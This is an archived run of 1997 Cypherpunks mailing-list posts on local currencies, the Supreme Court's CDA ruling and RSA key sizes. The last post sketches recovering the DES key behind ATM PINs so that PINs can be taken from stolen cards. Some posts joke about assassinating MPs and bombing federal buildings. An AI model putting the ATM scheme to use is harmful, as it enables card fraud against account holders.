-----BEGIN PGP SIGNED MESSAGE-----

In <97Jun26.113748edt.32257@brickwall.ceddec.com>, on 06/26/97 
   at 11:37 AM, tzeruch@ceddec.com said:

>Yes, but each currency would then have to be exchanged (at a discount!) 
>and that almost every time any transaction occured.  Unless you are
>willing to exchange any amount of currency without making any profit on
>it, not even to cover expenses or fluctuations in value, this won't work
>-
>it is trivial to convert currency, but it is not without cost.

I don't want to get to deep into this curency issue but from my experiance
not all exchanges are done at a cost.

This is directly related to the stability of the curency being exchanged.
If I am exchanging US $ with a low inflation rate (say 4%) for IT lira
with a high inflation rate (say 250%) it is to the advantage of the person
holding the lira to give me a good rate of exchange for my stable dollars.
Also if I may not actually need to make the exchange at all as many Italin
merchants would prefer to be paid in US $ rather than IT lira and will
discount his services on the simple fact that I am paying him in stable
curency. From my travels I have found whole cities where there is an
underground economy all in US $ because the local curency is worthless.
These areas tend to have a thriving barder system also for the same
reasons (a loaf of bread is still worth a loaf of bread regardless what
the pinheads in the government do to screw up the economy).

Where I see the cost of exchange is when dealing with curencies that are
of relativly the same stablilty US $ (4%) Japan Yen (6%). Then there is
not the overwhelming advantage to the person holding the Yens to exchange
for the US $.

There are exceptions to this also. Say you have Widgets Inc (USA) & Cogs
LTD. (Japan) who do a large amount of business in each others countries
and between each other. It may be to their advantage to accept purchaces
in each others currencies as to avoid the cost & hassels of going through
exchanges.

Just some food for thought. :)

PS: the inflation rates were just given as examples I have no ideal what
the current inflation rates are in the above mentioned countries.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Thu, 26 Jun 1997 23:51:41 +0800
To: cypherpunks@toad.com
Subject: CDA Struck Down
Message-ID: <v03102809afd83bbf5791@[204.91.138.250]>
MIME-Version: 1.0
Content-Type: text/plain




                      P R E S S   R E L E A S E


FOR IMMEDIATE RELEASE:               CONTACT:
Thursday, June 26, 1997              David L. Sobel (sobel@epic.org)
10:45 a.m., ET                       202-544-9240


         EPIC HAILS SUPREME COURT INTERNET "INDECENCY" DECISION:

        OPINION "PRESERVES BOTH FREE SPEECH AND PERSONAL PRIVACY"

WASHINGTON, DC -- The Electronic Privacy Information Center (EPIC) today
hailed the Supreme Court's Internet speech decision as "the first landmark
decision of the 21st Century."  In its first opinion involving cyberspace,
the Court, by a 7-2 vote, struck down the online censorship provisions of
the Communications Decency Act (CDA) (Chief Justice Rehnquist and Justice
O'Connor concurred in part and dissented in part).  EPIC participated in
the litigation as both plaintiff and co-counsel.

"Today's opinion defines the First Amendment for the next century,"
according to EPIC Legal Counsel David Sobel, who served as co-counsel in
Reno v. ACLU.  "The Court has written on a clean slate and established the
fundamental principles that will govern free speech issues for the
electronic age."

Sobel said that today's landmark decision "preserves both free speech and
personal privacy in this rapidly growing medium."  Throughout the
litigation of the case, EPIC has stressed that the CDA not only infringed
on Americans' free speech rights, but also posed a grave threat to personal
privacy.  By requiring "speakers" on the Internet to verify the age and
identity of all potential recipients of "indecent" material, the law would
have destroyed the anonymity that is a hallmark of online communications.
EPIC noted that a good deal of sensitive information -- dealing with AIDS
prevention, teenage pregnancy, and other critical social issues -- would
not be sought out if recipients were required to identify themselves.

EPIC joined with the American Civil Liberties Union and 18 other plaintiffs
in challenging the law on February 8, 1996, the day it was signed by
President Clinton.  A three-judge federal court panel in Philadelphia
unanimously ruled on June 11, 1996, that the Internet "indecency"
provisions violated the First Amendment's free speech protections.  That
decision was today affirmed by the  United States Supreme Court.

A copy of the Court's decision is available at:

      http://www2.epic.org/cda/cda_decision.html

EPIC is a non-profit research organization established in 1994 to examine
civil liberties and privacy issues arising in new electronic media.


                                 - 30 -








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 26 Jun 1997 23:46:51 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: new money systems
In-Reply-To: <199706250027.RAA19105@netcom15.netcom.com>
Message-ID: <97Jun26.113748edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



> Tue, 24 Jun 1997, Vladimir Z. Nuri wrote: 

> an interesting book, I think this is one of his I browsed. MF is correct
> in some ways but I believe he is off the mark in others. gold has a  key 
> advantage over money printed by a government in that it can't be
> counterfeited even by that government.  

Gold (content) can be counterfeited, which is why it needs to be assayed
and there are assay marks on gold bars. 

> what I am trying to imply in the post is that there is actually a hidden
> resistance on our money that is not reflected in the fees that various
> entities charge.  this is inflation, and it it can be totally controlled,
> despite whatever lies the Fed tells the public.

If there is inflation, or even the hint, people will shift from dollars
(or pounds, or yen) to something that is not inflating.  It would be
easier to control if they didn't tax you on the inflation (which they call
capital gains).

> >The problem is one of exchange.  A local currency (banks used to issue
> >their own notes) is only good in that locality.  How do I buy a California
> >pistachio with Michigan Money?  Or with British Pounds for that matter. 
> >In all cases you get an exchange rate.  There will be a varying ratio
> >between any two given fiat currencies, and even two currencies based on
> >(i.e. redeemable in) different commodities.
> 
> so what? I understand this obvious and trivial point.

Try spending british pounds at a US fast food restaraunt (at least one
that is not adjacent to a UK diplomatic building).  Then you will have to
go to someone to do the exchange and they will charge a fee.  And then if
you go to the UK and have to change back, there will be another fee.

Although there is an "exchange rate", it is discounted so that the
organization doing the exchange makes money each way.  Canadian
restaraunts just over the border will take american money, but give me 10%
less than the bank exchange rate.

Thus it is not trivial in practice.  If your money was only good for a 50
mile radius, and you lost 3% in each exchange, going on vacation would get
very expensive and you would then call for a universal currency, or
convert into something like it (accepted by every locality very near par)
before going on vacation.  But if you convert it into a universal
currency, why not just leave it as that?

Considering the internet is international, exchange is a big problem and
will get worse as more transactions require foreign exchange. 

> a local economy can have a currency, and ask the question, "why is On
> value being extracted from our local economy when it is a self-sustaining
> unit"? the idea behind a local currency actually encourages local
> autonomy/sovereignty/independence.

I agree with the concept.  If Michigan doesn't want to inflate its
currency and New Jersey does, they can then do so without interfereing
with each other (or BC and Quebec, for that matter).

But as Ricardo has shown, trade advantages all parties, so autonomy is
actually less efficient.  Nebraska is better suited to wheat, Maine to
cranberries, Michigan to Cherries, and Florida and California to Oranges.
To be "autonomous and independent" in Minnesota makes for very expensive
oranges.

So although I consider autonomy a virtue, I consider trade a greater
virtue, so local currencies are good only to the extent they promote both,
and with the problems of currency exchange, I don't see how trade is
enhanced by local currencies, but am interested on your thoughts on this
point since you are more familiar with the narrow topic.

> >Having 1000 other currencies would mean that each currency would have a
> >fluctuating value relative to each other (great if you are an
> >arbitrageur), 
> 
> no, this is not a problem, but a solution. as our world markets show,
> it is trivial to convert between currencies and each one acts as a
> check and a balance on the other. if a currency declines in value to
> another in the market, I will bet you the country whose currency
> declined is "counterfeiting its own money" via interest rates paid
> on bonds.

Yes, but each currency would then have to be exchanged (at a discount!) 
and that almost every time any transaction occured.  Unless you are
willing to exchange any amount of currency without making any profit on
it, not even to cover expenses or fluctuations in value, this won't work -
it is trivial to convert currency, but it is not without cost.

You can have state and local tyrants who want to manipulate the money
supply.  Power corrupts at whatever level (look for a big municipal bond
crash that dwarfs the S&L crisis - this is one thing the locals can
manipulate to some extent). 

In sum, I have a set of questions:  1. Why would local currencies be any
less subject to manipulation than national currencies which suffer from
inflation and devalutation when the consequences are the same and the
national level can't resist?  2. If they aren't going to set the value
themselves, they will have to fix the value "permanently", since if they
can change the peg, they can manipulate it, but if they fix the value to
X, why won't real X be prefered to the note denominated in X.  3. As
long as they have to pick X, if several localities pick gold as X, then
their currencies then become the same, although having different numbers
(e.g. 31 & change gram notes v.s. 1 troy ounce notes) - why have a dozen
currencies which are merely different numbers representing the same amount
of a commodity (except to manipulate later)?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 27 Jun 1997 05:17:31 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <v0310280bafd83fcea0f8@[10.0.2.15]>
Message-ID: <Pine.LNX.3.96.970626122600.1130A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 26 Jun 1997, Steve Schear wrote:

> >It appears that Roth v. United States was the first case before that the
> >U.S. SC decided that "obscenity" was not protected by the 1st Amendment.
> >The reasoning was that while offensive, unorthodox, or hateful ideas
> >are protected by the 1st, they, unlike pornography, have at least *some*
> >redeeming social value.  The court noted that laws enacted after the
> >ratification of the U.S. Constitution banned several different kinds of
> >speech, including profanity, blasphemy, and libel.  It's a very common
> >tactic for the courts to refer to post-ratification laws to support
> >limits on Constitutional rights.
> 
> I can't see that anyone, including the courts, should use redeeming social
> value as a yardstick.  This term has all the hateful aspects of one group's
> mores being used to limit the freedom of their neighbor in the privacy of
> their home and thoughts.  After all, one man's ceiling is another man's
> floor.

I believe that freedom of speech is an absolute right, but I can see
valid arguments, both for and against, the belief that the text of the
1st applies to obscenity.

> 
> What if we create religion who's practice requires use and possesion of
> child porn?  Wonder how the SC would rule, given its rulings allowing use
> of peyote by certain native American tribes and against the Mormons on the
> issue of bigemy.

On a related note, the supreme Court ruled today, in a 6-3 decision,
that the Religious Freedom Restoration Act was un-Constitutional.  This
federal law required that States prove that they have a "compelling
interest" to enforce laws that infringe on religious freedom.  This
ruling means that the States can continue to enforce peyote laws
against native Americans and, of course, enforce child porn laws against
anyone and everyone.



Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 27 Jun 1997 05:20:29 +0800
To: cypherpunks@toad.com
Subject: Family Research Council on CDA decision (fwd)
Message-ID: <Pine.GSO.3.95.970626140047.26326V-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 13:59:53 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Family Research Council on CDA decision


FOR IMMEDIATE RELEASE:  June 26, 1997
CONTACT:  Kristin Hansen, (202) 393-2100
 


COURT REAFFIRMS GOVERNMENT^RS INTEREST IN PROTECTING CHILDREN FROM 
PORN, BUT STRIKES CDA AS TOO BROAD


WASHINGTON, D.C. -- "Today^Rs ruling means that pornographers can 
open their doors to children on the Internet.  But pornographers 
beware:  this will not be the last word on protecting children 
from your corrupting influence," Family Research Council Legal 
Policy Director Cathy Cleaver said Thursday.  "While Reno v. ACLU 
said that the specific provisions of the CDA are too broad, the 
Court also said that more narrowly tailored provisions could be 
upheld."

Cleaver made her comments as the Supreme Court issued its ruling 
striking down the Communications Decency Act (CDA).  Cleaver 
continued, "Parents still have no legal recourse to protect their 
children from being sent a Penthouse centerfold.  This is not 
good news for the thousands of families who discover every day 
that their children have accessed offensive and disgusting 
material on the internet. 

"At the same time, the Court has opened the door to new 
legislation protection children.  Americans should urge Congress 
to take another look at the issue and draft a more narrowly 
defined statute.

"But now, the flood gates remain open to purveyors of smut.  With 
no legal liability for those who pursue children with graphic 
images and language on the internet, we need to act fast and 
firmly to ensure that our country does not give pornographers 
special rights."

FOR MORE INFORMATION OR INTERVIEWS, 
CONTACT THE FRC PRESS OFFICE.

- END - 












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 27 Jun 1997 05:51:05 +0800
To: cypherpunks@toad.com
Subject: White House statement on CDA decision (fwd)
Message-ID: <Pine.GSO.3.95.970626142138.26326a-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 26 Jun 1997 14:21:06 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: White House statement on CDA decision



                            THE WHITE HOUSE

                           Office of the Press Secretary

                                 June 26, 1996

                     STATEMENT BY THE PRESIDENT

Today, the Supreme Court ruled that portions of the Communications Decency
Act addressing indecency are not constitutional. We will study its opinion
closely. 

The administration remains firmly committed to the provisions -- both in
the CDA and elsewhere in the criminal code -- that prohibit the
transmission of obscenity over the Internet and via other media.
Similarly, we remain committed to vigorous enforcement of federal
prohibitions against transmission of child pornography over the Internet,
and another prohibition that makes criminal the use of the Internet by
pedophiles to entice children to engage in sexual activity. 

The Internet is an incredibly powerful medium for freedom of speech and
freedom of expression that should be protected. It is the biggest change
in human communications since the printing press, and is being used to
educate our children, promote electronic commerce, provide valuable health
care information, and allow citizens to keep in touch with their
government. But there is material on the Internet that is clearly
inappropriate for children. As a parent, I understand the concerns that
parents have about their children accessing inappropriate material. 

If we are to make the Internet a powerful resource for learning, we must
give parents and teachers the tools they need to make the Internet safe
for children. 

Therefore, in the coming days, I will convene industry leaders and groups
representing teachers, parents and librarians. We can and must develop a
solution for the Internet that is as powerful for the computer as the
v-chip will be for the television, and that protects children in ways that
are consistent with America's free speech values. With the right
technology and rating systems - we can help ensure that our children don't
end up in the red light districts of cyberspace. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 27 Jun 1997 05:25:45 +0800
To: cypherpunks@Algebra.COM
Subject: NEWS.COM - Rumor Mill
Message-ID: <33B2DE7F.1106@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



No Freeh lunch?


http://www.news.com/Rumors/0,29,,00.html

At the end of the article...

While hackers were getting busy, the crypto honchos were
getting dissed in D.C. Apparently, a group of bigwigs,
including Louis Freeh of the FBI, William Crowell of NSA,
Peter Neumann of SRI, and Ray Ozzie of Lotus, flew all the
way out to the nation's capital for a Senate Judiciary
Committee hearing on cryptography, only to be informed 20
minutes before the meeting that it had been canceled.
Grumbling ensued as the various participants stormed back
to Dulles airport. The meeting may pick up after the July 4
recess.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 10:44:26 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <199706260047.UAA15143@dhp.com>
Message-ID: <Pine.LNX.3.91.970626142415.381C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   Someone please put up a website teaching people how to use
> bananas to commit a crime. I want some company in prison when
> I kill 168 people with a banana.

Do you recall the old movie where a couple of mob guys killed a rival 
with a fish (shoved it down his throat and choked him on it)? I think I 
may, if I have some time in the next few days, put together a quick 
website telling people the best fish to use etc. and inciting them to use 
this as a method of assasinating MPs...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 08:06:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Top ATM maker signs deal with eye-scanning technology firm
In-Reply-To: <199706251336.GAA26072@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970626142951.381D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>    TRENTON, N.J. (June 24, 1997 9:38 p.m. EDT) -- NCR Corp., the world's
>    top maker of automated teller machines, plans to start offering
>    machines that identify the user by scanning the eye.

This is not a good idea for ATMs, I have said this many times before: 

At present unauthorised use of someones account involves stealing their 
ATM card and PIN, which is insured against if reported soon anyway. If 
biometric ID becomes commonplace theivery of this kind involves either:

1. Gouging out someones eyeball (would this actually work or would the 
damage done to the eye render it useless?)

Or, more likely:

2. Kidnapping the account holder and forcing them to ID themselves at 
gunpoint/knifepoint.


I would sure as hell rather have the inconvenience of going home and 
calling the CC company to report a stolen card, than be kidnapped and 
possible harmed for a few $.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 08:09:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Right 2 Bare Arms
In-Reply-To: <199706251900.MAA13429@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970626143333.381E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   My first thought was to wonder if my 18 1/2" would automatically
> make me a three-time loser and subject to lifetime imprisonment.
>   My second thought was whether there would be corresponding laws
> requiring the weapon to be "sheathed" in one locale and "in plain
> sight" in another locale.

Another example of how the law contradicts itself in many places, all 
those who carry a weapon over 6" are felons, yet you could be arrested 
for indecent exposure if you didn`t "carry concealed".

And couldn`t taking a leak in a public place be classed as unauthorised 
discharge?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 12:01:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <199706252316.QAA23656@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970626143803.381F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>   Simple. Design all future government buildings to match the remains
> of the Federal Building in OKC and replace the pictures of our beloved
> President with pictures of Timothy McVeigh.

Maybe we should pass a law that mandates placement of a large bomb in the 
basement all federal buildings that is triggered when the attached 
statist-meter hits 5%.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RealAudio & RealVideo News <announce@dmail1.prognet.com>
Date: Fri, 27 Jun 1997 06:03:32 +0800
To: cypherpunks@toad.com
Subject: Final Version of RealPlayer 4.0 with RealVideo Available for FREE Download
Message-ID: <199706262143.OAA09756@dmail4.prognet.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear RealPlayer User,

Thank you for using RealAudio and RealVideo.

We are pleased to tell you that the final versions
of RealPlayer and RealPlayer Plus 4.0 with
RealVideo and RealAudio have been released.

You can upgrade to version 4.0 by visiting:

   http://www.real.com/40/index.html

RealPlayer 4.0 features better video quality over
dialup connections, direct access to daily news and
entertainment, and more.

RealPlayer Plus 4.0 offers several enhancements
to the free RealPlayer:

- The Best Quality Audio and Video at 28.8
- One-button Scanning for the Best Live Audio
  and Video on the Web
- Instant Access to Your Favorite RealAudio
  and RealVideo Content
- Free Telephone Technical Support
- 30-day Money Back Guarantee

RealPlayer Plus 4.0 is available from:

   http://www.real.com/40/order.html

We hope you enjoy RealPlayer and RealPlayer Plus 4.0!

Rob Glaser
Chairman & CEO
Progressive Networks


---------------------------------------------
 For information about this e-mail including
 how to subscribe to or unsubscribe from
 future announcements, please visit:
 http://www.real.com/mailinglist/index.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 27 Jun 1997 04:42:11 +0800
To: cypherpunks@toad.com
Subject: Re: The Grand Compromise is Coming
Message-ID: <199706262020.QAA25675@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> 
> >> This is why I think the "use of a special language or
> >> whispering in furtherance of a crime" provisions of SAFE will probably be
> >> struck down by the Supremes, unless they, too, have forgotten what the
> >> Constitution is all about.)

> Back when marijuana was illegal in Oklahoma, during the anti-war years
> when everybody was paranoid that their phones were tapped by the FBI,
> a friend of mine would occasionally have phone conversations like
>         "Hey, Steve, I just got some .... Beer.  Want to come over?"
>         "Yeah, Joe, I'd really like some .... Beer.  I'll be there
>         in about an hour.  Should I bring some .... Pizza?"

  The FBI was involved in the war on cryptography during the LBJ
administration, according to my guitar player at the time.
  He was staying at the Lady Bird Ranch and called his roomate to
tell him he would be out to pick up his "shit" later in the day.
When he got there, the FBI was tearing apart his amp and speakers.
They asked him where his "shit" was and he told them they were
tearing it apart.

  I wonder if Timothy McVeigh phoned Bill Stewart to tell him,
"I'm going to deliver the...Pizza...to the Federal Building."?
(That's an extra five years, right there.)

PizzaMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 27 Jun 1997 08:47:46 +0800
To: tzeruch@ceddec.com
Subject: Re: new money systems
In-Reply-To: <97Jun26.113748edt.32257@brickwall.ceddec.com>
Message-ID: <199706270040.RAA26241@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>
>Gold (content) can be counterfeited, which is why it needs to be assayed
>and there are assay marks on gold bars. 

but the sheer beauty of this is that everyone can independently verify
that gold is real by doing independent assays on it. anyone in an
entire population can do so. however when a government controls the money
supply, you are relying on them to govern the scarcity of it, and not
to steal from the population using inflation. gold does not have this problem.
in fact it doesn't have to be gold, it can be *anything*-- platinum, etc.

the key thing is that as people get more of this material, like from mining
or whatever, that the economic cost of this is not low compared to the
existing supply. and, that new additions of this money going into the
system are negligible compared to the total volume. in fact anyone who
asserts "there isn't enough gold in the world to use for money" is 
marvelously ignorant of economic principles, in which it isn't the
volume but the scarcity (lack of ability to create new volume) that matters.

you see, the government can easily create new money. the government is
right now doing this every time it pays money on a bond. the greed of
the population fails to allow people to realize they are losing money
in the long run. it's guaranteed to crash periodically.

>If there is inflation, or even the hint, people will shift from dollars
>(or pounds, or yen) to something that is not inflating.  It would be
>easier to control if they didn't tax you on the inflation (which they call
>capital gains).

it's a horrible problem that virtually all government currencies are 
being inflated by design by the central banks & the governments involved.
this is done whenever they pay money for bonds, more going out than went
in.

>Try spending british pounds at a US fast food restaraunt (at least one
>that is not adjacent to a UK diplomatic building).  Then you will have to
>go to someone to do the exchange and they will charge a fee.  And then if
>you go to the UK and have to change back, there will be another fee.

fees to convert currency are currently quite negligible. and the fee is
in line with the service to do so. multiple currencies act as checks
and balances on each other, in the same way state independence does, or
should, in the US. do you want one mass amalgamation of everything?
so do various people in the UN working for "nwo".. and unifying the
currency is the key means to do so.

>Thus it is not trivial in practice.  If your money was only good for a 50
>mile radius, and you lost 3% in each exchange, going on vacation would get
>very expensive and you would then call for a universal currency, or
>convert into something like it (accepted by every locality very near par)
>before going on vacation.  But if you convert it into a universal
>currency, why not just leave it as that?

in fact you pay a small percent for every transaction you make on a credit
card that is not likely to be much larger than that involved in currency
trader fees.

>Considering the internet is international, exchange is a big problem and
>will get worse as more transactions require foreign exchange. 

exchange problem is merely one of electrons in wires. it's not a problem,
and it doesn't need to be solved. it's already been solved. only those
who wish greater control assert it is a problem, and that it needs to
be solved. they offer a false solution to a false problem. but their
propaganda is working quite well across the world.

>So although I consider autonomy a virtue, I consider trade a greater
>virtue, so local currencies are good only to the extent they promote both,
>and with the problems of currency exchange, I don't see how trade is
>enhanced by local currencies, but am interested on your thoughts on this
>point since you are more familiar with the narrow topic.

the world requires a mixture of independence and dependence. a local
currency is working toward the former, a global currency toward the 
latter. it's not either/or but a mixture situation.

>Yes, but each currency would then have to be exchanged (at a discount!) 
>and that almost every time any transaction occured.  Unless you are
>willing to exchange any amount of currency without making any profit on
>it, not even to cover expenses or fluctuations in value, this won't work -
>it is trivial to convert currency, but it is not without cost.

why should one expect to make a profit merely by exchanging currency?
there will be very low friction rates involved in the transfer. but
in fact what you get with a global currency is the sum of all these
local friction rates, in an invisible format that you can't measure.
which would you prefer? to know how much it really costs you, or to
have the fees hidden so that you have no way of knowing why what you
want costs more than it seems like it ought to?

>You can have state and local tyrants who want to manipulate the money
>supply.  

or worldwide ones. which is more dangerous? furthermore, as I have been
trying to reveal, it is possible to use a money form that is impossible
to manipulate. that is the advantage of gold that world bankers do not
wish the public to know, because it makes them free and soveriegn and
uncontrollable. hence my interest in this and my interest in promoting
it as a key cypherpunk topic.

good questions:

>In sum, I have a set of questions:  1. Why would local currencies be any
>less subject to manipulation than national currencies which suffer from
>inflation and devalutation when the consequences are the same and the
>national level can't resist? 

I am advocating a currency that is "open" in which it is public knowledge
what everyone owns in that currency. everyone can verify how much of the
currency is in circulation. people cannot use it unless they agree to
the "open" requirement. note that this is only the local currency-- a person
could have many assets not measured in it. that is, I could own far more
than is revealed on these public boards.

> 2. If they aren't going to set the value
>themselves, they will have to fix the value "permanently", since if they
>can change the peg, they can manipulate it, but if they fix the value to
>X, why won't real X be prefered to the note denominated in X.

consider a company that releases "iou [x] service" or "iou [x] product".
if there is knowledge about how many ious are out there, people can
judge for themselve the ability of the individual to repay. an individual
who has 1000 "iou" hours is more inflated than an individual with 
"100 iou hours" in circulation.

  3. As
>long as they have to pick X, if several localities pick gold as X, then
>their currencies then become the same, although having different numbers
>(e.g. 31 & change gram notes v.s. 1 troy ounce notes) - why have a dozen
>currencies which are merely different numbers representing the same amount
>of a commodity (except to manipulate later)?

local independence.  a community that is self-sustaining shouldn't be
taxed by a community that isn't, imho. this is the real message of the 
revolution of 1776 and man's century-long desire to escape slavery and tyranny.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:03:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Comparing Cryptographic Key Sizes II
In-Reply-To: <199706250645.IAA16548@basement.replay.com>
Message-ID: <199706261714.SAA00698@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> >I can assure you
> >that in moving from a 1024 bit key to a 4096 bit key, the attackers
> >job is well in excess of 50x harder.  Greatly in excess of a trillion
> >trillion times harder.
> 
> First part true, second part false.  See Schneier, p.160.  Extrapolating
> using GNFS factoring indicates ratio of 1E21.  If SNFS factoring becomes
> possible it is much worse, ratio less than one million.

Schneier (the quote you give) gives this table (some values omitted):

# of bits		MIPS-years required to factor
512 bits		3*10^4
1024 bits		3*10^11
1536 bits		3*10^16
2048 bits		3*10^20

How are you extrapolating that to 4096 bits?  Hardness to break
increases as a superpolynomial function of the key size.  The memory
requirements increase with key sizes, also, which I don't think these
figures are taking into account.

If someone would like to post the big O notation for GNFS space and
time complexity, plus current estimates of the constants, perhaps we
could improve upon that.

I reckon my estimate is conservative, if hardness relates to cost,
rather than mathematical number of operations ignoring memory
considerations.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 27 Jun 1997 09:30:37 +0800
To: Adam Back <trei@process.com
Subject: ATMs a better target (was: breaking RSA in hardware)
In-Reply-To: <199706251502.QAA24075@hermes>
Message-ID: <v03102802afd8c2f7046e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:51 PM +0100 6/26/97, Adam Back wrote:
>Peter Trei <trei@process.com> writes:
>> > [DES breaking]
>>
>> [useful stats]
>Perhaps it would be interesting to look at the economics of a well
>funded attacker breaking a 512 bit RSA key.  If we asume that they
>would do it in software, and had to buy the machines, would you be
>better to buy fewer workstations with 128Mb or lots with 16Mb.  Factor
>of 17 speed up using GNFS acording to your estimates of DES, and
>Lenstra's for GNFS RSA.
>
>So perhaps we're looking at motherboard $100, cpu $100, PSU+case $100
>+ 16Mb RAM $100 = $400.  The same, but with 128Mb $1100.
>
>So that's a 1100 / 400 = 2.75 ratio.  Clearly buying the larger memory
>PCs is the way to go.
>
>Overall GNFS is 6x cheaper it would appear.
>
>However, really the interesting question is how much would it cost to
>break RSA in hardware.  How expensive would it be to build a custom
>hardware machine to break RSA.  What building blocks would be needed.
>How much memory.  What would be the most efficient approach.
>

Seems that unless future crypto breaks compromise something everybody can
appreciate, they be little lasting PR value.

Colin Plumb, colin@nyx.net, said

>I don't know if everyone is aware, but all of the ATM cards floating
aroud use DES to protect the PIN.  With ine key sealed in tamper-proof.
Wouldn't *that* be a fun key to have?

>The details are published somehwere.  Basically, you encrypt some card
info to get a 16-character hex string.  Some 4 nybbles of that, reduced
mod 10 (so 0-5 are more likely than 6-9) are the "master PIN".

>An offset from this (added per-digit, mod 10) is stored in clear on the card
to allow programmable PINs.  But most cards ship with the offset set
to 0 and the default PIN is the master PIN.

>You just need a few people with closed accounts to volunteer their
ATM cards to mag stripe readers.  The work would be somewhat greater
since you need to do multiple decryptions to get a full validation;
you'd need to do weed out the impossible in stages.

>I'm not sure if the fraud possibilities (it lets you recover the
PINs from stolen ATM cards) are worth it, but it would sure raise
a ruckus...
--
>	-Colin

